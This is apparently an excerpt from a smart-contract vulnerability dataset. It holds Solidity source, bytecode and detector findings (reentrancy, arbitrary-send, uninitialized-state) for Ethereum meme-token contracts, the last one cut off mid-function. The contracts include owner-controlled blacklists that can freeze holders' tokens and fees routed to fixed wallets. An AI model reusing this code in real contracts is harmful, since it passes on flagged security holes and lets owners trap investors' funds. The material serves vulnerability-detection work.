if (from != owner() && to != owner()) {
if (block.number == launchBlock || block.number == launchBlock + 1) {
bots[to] = true;
}
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (1 minutes);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152601281527f446f6765636f696e20506f6c79746f7069610000000000000000000000000000602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612363602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b031681526020810191909152604001600020549190611648565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a0816116df565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b03821660009081526002602052604090205461080590611764565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152600581527f444f504941000000000000000000000000000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a0816117c4565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054674563918244f400006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea0000084611a0c565b90611a65565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b81526004018080602001828103825260248152602001806123d96024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806123206022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123b46025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122d36023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b815260040180806020018281038252602981526020018061238b6029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b156115eb576015544314806112e2575060155460010143145b15611329576001600160a01b038216600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b60135477010000000000000000000000000000000000000000000000900460ff161561143e576001600160a01b038316301480159061137157506001600160a01b0382163014155b801561138b57506012546001600160a01b03848116911614155b80156113a557506012546001600160a01b03838116911614155b1561143e576012546001600160a01b03166113be6110ce565b6001600160a01b031614806113ed57506013546001600160a01b03166113e26110ce565b6001600160a01b0316145b61143e576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60145481111561144d57600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561148f57506001600160a01b03821660009081526007602052604090205460ff16155b61149857600080fd5b6013546001600160a01b0384811691161480156114c357506012546001600160a01b03838116911614155b80156114e857506001600160a01b03821660009081526005602052604090205460ff16155b8015611511575060135477010000000000000000000000000000000000000000000000900460ff165b15611559576001600160a01b038216600090815260086020526040902054421161153a57600080fd5b6001600160a01b0382166000908152600860205260409020603c420190555b6000611564306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff161580156115a157506013546001600160a01b03858116911614155b80156115c95750601354760100000000000000000000000000000000000000000000900460ff165b156115e9576115d7816117c4565b4780156115e7576115e7476116df565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061162d57506001600160a01b03831660009081526005602052604090205460ff165b15611636575060005b61164284848484611aa7565b50505050565b600081848411156116d75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561169c578181015183820152602001611684565b50505050905090810190601f1680156116c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6116f9836002611a65565b6040518115909202916000818181858888f19350505050158015611721573d6000803e3d6000fd5b506011546001600160a01b03166108fc61173c836002611a65565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a548211156117a75760405162461bcd60e51b815260040180806020018281038252602a8152602001806122f6602a913960400191505060405180910390fd5b60006117b1611bc3565b90506117bd8382611a65565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1675010000000000000000000000000000000000000000001790556040805160028082526060808301845292602083019080368337019050509050308160008151811061183257fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561189f57600080fd5b505afa1580156118b3573d6000803e3d6000fd5b505050506040513d60208110156118c957600080fd5b50518151829060019081106118da57fe5b6001600160a01b03928316602091820292909201015260125461190091309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561199f578181015183820152602001611987565b505050509050019650505050505050600060405180830381600087803b1580156119c857600080fd5b505af11580156119dc573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b600082611a1b57506000610570565b82820282848281611a2857fe5b04146117bd5760405162461bcd60e51b81526004018080602001828103825260218152602001806123426021913960400191505060405180910390fd5b60006117bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611be6565b80611ab457611ab4611c4b565b6001600160a01b03841660009081526006602052604090205460ff168015611af557506001600160a01b03831660009081526006602052604090205460ff16155b15611b0a57611b05848484611c7d565b611bb6565b6001600160a01b03841660009081526006602052604090205460ff16158015611b4b57506001600160a01b03831660009081526006602052604090205460ff165b15611b5b57611b05848484611da1565b6001600160a01b03841660009081526006602052604090205460ff168015611b9b57506001600160a01b03831660009081526006602052604090205460ff165b15611bab57611b05848484611e4a565b611bb6848484611ebd565b8061164257611642611f01565b6000806000611bd0611f0f565b9092509050611bdf8282611a65565b9250505090565b60008183611c355760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561169c578181015183820152602001611684565b506000838581611c4157fe5b0495945050505050565b600c54158015611c5b5750600d54155b15611c6557611c7b565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611c8f8761208e565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611cc190886120eb565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611cf090876120eb565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611d1f908661212d565b6001600160a01b038916600090815260026020526040902055611d4181612187565b611d4b848361220f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611db38761208e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611de590876120eb565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611e1b908461212d565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611d1f908661212d565b600080600080600080611e5c8761208e565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611e8e90886120eb565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611de590876120eb565b600080600080600080611ecf8761208e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cf090876120eb565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b60095481101561204e57826002600060098481548110611f3f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611fa45750816003600060098481548110611f7d57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611fc257600a54683635c9adc5dea000009450945050505061208a565b6120026002600060098481548110611fd657fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906120eb565b9250612044600360006009848154811061201857fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906120eb565b9150600101611f23565b50600a5461206590683635c9adc5dea00000611a65565b82101561208457600a54683635c9adc5dea0000093509350505061208a565b90925090505b9091565b60008060008060008060008060006120ab8a600c54600d54612233565b92509250925060006120bb611bc3565b905060008060006120ce8e878787612282565b919e509c509a509598509396509194505050505091939550919395565b60006117bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611648565b6000828201838110156117bd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000612191611bc3565b9050600061219f8383611a0c565b306000908152600260205260409020549091506121bc908261212d565b3060009081526002602090815260408083209390935560069052205460ff1615610f8757306000908152600360205260409020546121fa908461212d565b30600090815260036020526040902055505050565b600a5461221c90836120eb565b600a55600b5461222c908261212d565b600b555050565b600080808061224760646110638989611a0c565b9050600061225a60646110638a89611a0c565b905060006122728261226c8b866120eb565b906120eb565b9992985090965090945050505050565b60008080806122918886611a0c565b9050600061229f8887611a0c565b905060006122ad8888611a0c565b905060006122bf8261226c86866120eb565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202fc4449ee53d1eedbdaeed3d588dbc150a6ecc1a68525b2c14d29a2b0f38908a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,464 |
0x7ff3878397da2e2ce54595f67f27cfcf4f4b983d
|
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kiya is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _route;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Kiya Inu";
string private constant _symbol = "KIYA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6666666628896E31A251E51f64d84F38539D11e9);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!_route[from] && !_route[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
